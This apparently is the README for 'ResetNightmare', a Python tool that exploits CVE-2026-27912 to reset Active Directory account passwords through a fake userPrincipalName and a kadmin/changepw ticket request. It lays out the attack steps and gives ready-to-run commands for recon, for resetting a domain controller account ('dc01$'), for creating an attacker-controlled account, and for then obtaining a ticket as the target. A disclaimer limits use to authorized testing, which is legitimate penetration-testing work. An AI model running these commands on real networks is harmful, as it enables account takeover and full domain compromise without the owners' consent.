ResetNightmare — CVE-2026-27912

Linux / impacket tooling for CVE-2026-27912 ("ResetNightmare"). Resets a target Active Directory account's password by requesting a kadmin/changepw TGT for an NT_ENTERPRISE principal whose name is the target's sAMAccountName, using an account (UPNUser) on which we can write a fake userPrincipalName.

Python port of the Semperis Community Invoke-ResetNightmare PowerShell tool (see Credits).

⚠️ Legal disclaimer

For authorized security testing and educational use only. This tool changes real Active Directory credentials and can lock accounts out.

• Only run it against systems you own or have explicit written permission to test (a signed engagement or a lab you control).
• Unauthorized access to computer systems is illegal (e.g. the US CFAA, the UK Computer Misuse Act, and equivalents) and can carry criminal and civil penalties.
• The authors accept no liability for misuse. The software is provided "AS IS" — see the LICENSE. If you don't have permission, do not run this.

How it works

1. (optional) Create UPNUser, self-grant GenericAll, set its password, enable it.
2. Resolve the target's sAMAccountName.
3. Set UPNUser.userPrincipalName = <targetSAN> (the fake UPN).
4. AS-REQ as NT_ENTERPRISE '<targetSAN>' for kadmin/changepw — the KDC maps the enterprise UPN to the target and issues a change-password TGT for it.
5. Clear the fake UPN.
6. kpasswd change-password with that TGT → sets the target's password.
7. Restore UPNUser's original UPN.

Install

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

Usage

Operator credentials are the first positional argument: [domain/]username[:password]. Any password may be omitted and you'll be prompted for it.

Recon — what can this account abuse? Reports accounts you can write a UPN on, OUs you can create objects in, and the MachineAccountQuota, with suggested commands:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

Reset a target using an account you can write a UPN on:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Create the UPN account first (needs Create Child on the OU, and LDAPS):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Add -debug for verbose AS-REQ / LDAP / kpasswd logging.

Flags

Passwords are prompted for interactively when omitted.

Troubleshooting

--create-new-path failures:

Notes:

• LDAPS is on by default. AD only accepts unicodePwd writes over TLS, so --create-new-path needs it. Use --no-ssl only for read/UPN-only paths.
• --find reports only allow ACEs granted to you or your groups (plus object ownership and MachineAccountQuota); deny ACEs and cross-domain memberships aren't fully evaluated. An empty result is not proof there's no path — verify before use.

After success

The tool prints a follow-up to obtain a usable ticket as the target:

getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

Credits

• Semperis Community — ResetNightmare — original research and the Invoke-ResetNightmare PowerShell tool this project ports.
• impacket — Kerberos and ldaptypes primitives.
• ldap3 — the LDAP client.

Independent community port; not affiliated with or endorsed by Semperis.

License

MIT © 2026 mihat2.